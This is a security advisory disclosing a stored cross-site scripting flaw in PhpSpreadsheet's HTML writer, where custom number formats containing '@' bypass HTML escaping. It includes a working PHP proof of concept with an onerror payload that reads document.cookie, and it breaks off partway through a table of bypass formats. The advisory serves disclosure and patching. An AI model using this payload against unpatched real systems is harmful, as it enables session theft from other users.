PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. The HTML writer skips htmlspecialchars escaping when a cell's formatted value differs from the original value. When a cell has a custom number format containing the text placeholder @ along with any additional literal characters (for example ". @", "@ ", or "x@"), the formatter replaces @ with the cell value and adds the extra characters, causing the formatted value to differ from the original and bypassing HTML escaping entirely. An attacker who can control the cell value and number format of an uploaded spreadsheet that is later converted to HTML and displayed to other users can achieve stored cross-site scripting. This issue is fixed in versions 5.7.0, 3.10.5, 2.4.5, 2.1.16, and 1.30.4.

Affected: Packagist: phpoffice/phpspreadsheet

It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.

## The Problem

In `Writer/Html.php` around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply `htmlspecialchars()`:

```php if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, ...); } ```

When a cell has a custom number format containing `@` (text placeholder) with any additional literal characters, the formatter replaces `@` with the cell value and adds the extra characters. This makes `$cellData !== $origData`, so `htmlspecialchars()` is **skipped entirely**.

Even a single trailing space in the format (`@ `) is enough to bypass the escape.

## Proof of Concept

```php use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Html; use PhpOffice\PhpSpreadsheet\Cell\DataType;

$spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet();

// XSS payload with malicious number format $sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING); $sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');

$writer = new Html($spreadsheet); $writer->save('output.html'); ```

The generated HTML contains: ```html <td>. <img src=x onerror=alert(document.cookie)></td> ```

The XSS payload is **completely unescaped**.

## Tested Bypass Formats

| Format Code | Result | Escaped? | |---|---|---| | `General` (defau…